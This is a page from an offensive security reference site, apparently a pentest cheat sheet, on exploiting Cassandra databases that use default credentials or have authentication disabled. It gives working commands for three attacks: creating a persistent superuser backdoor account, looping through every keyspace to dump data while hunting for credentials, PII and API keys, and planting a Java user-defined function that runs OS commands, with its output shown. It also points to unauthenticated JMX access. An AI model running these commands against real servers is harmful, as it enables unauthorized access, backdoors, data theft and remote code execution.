Skip to content
HackIndex.io

Cassandra Unauthenticated Access

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

With superuser access to Cassandra (through default credentials or disabled authentication), an attacker can read all application data, create new superuser accounts, and potentially achieve code execution through user-defined functions. Confirm access through Cassandra enumeration first.

Creating a Superuser Account

With superuser access, create a persistent backdoor account.

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "CREATE ROLE IF NOT EXISTS backdoor WITH PASSWORD = 'P@ssw0rd' AND SUPERUSER = true AND LOGIN = true;"

Creates a new superuser account. This requires superuser privileges on the current connection. The account persists across restarts.

Data Exfiltration

Dump high-value tables across all application keyspaces.

┌──(kali㉿kali)-[~]
└─$ for ks in $(cqlsh $TARGET_IP -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;" | tr -s ' ' '\n' | grep -v '^system'); do
echo "=== Keyspace: $ks ==="
for tbl in $(cqlsh $TARGET_IP -u cassandra -p cassandra -e "USE $ks; DESCRIBE TABLES;" | tr -s ' ' '\n'); do
echo "--- $ks.$tbl ---"
cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT * FROM $ks.$tbl LIMIT 50;"
done
done

Iterates all application keyspaces and tables, dumping the first 50 rows from each. Adjust LIMIT for full extraction. Look for credentials, PII, and API keys.

UDF-Based Code Execution

Cassandra supports User-Defined Functions (UDFs) in Java and JavaScript. If enable_user_defined_functions = true and enable_scripted_user_defined_functions = true in cassandra.yaml, UDFs can execute arbitrary code on the server.

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "
CREATE OR REPLACE FUNCTION webapp.exec(cmd text)
CALLED ON NULL INPUT
RETURNS text
LANGUAGE java
AS '
try {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append((char)10);
return sb.toString();
} catch (Exception e) { return e.toString(); }
';
"

Creates a UDF that executes OS commands. Requires UDFs to be enabled in cassandra.yaml. Call it with: SELECT webapp.exec('id') FROM system.local;

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT webapp.exec('id') FROM system.local;" 
 webapp.exec('id')
---------------------------------------------
 uid=999(cassandra) gid=999(cassandra) groups=999(cassandra)

JMX Exploitation (Port 7199)

Cassandra exposes JMX on port 7199 for management. JMX authentication is disabled by default. Use JMX to invoke MBeans for configuration changes or, with tools like beanshooter, for code execution.

┌──(kali㉿kali)-[~]
└─$ jconsole $TARGET_IP:7199

JConsole provides a GUI to browse all MBeans. For CLI access, use jmxterm or beanshooter. JMX can expose heap dumps, thread info, and allow invoking management operations.

References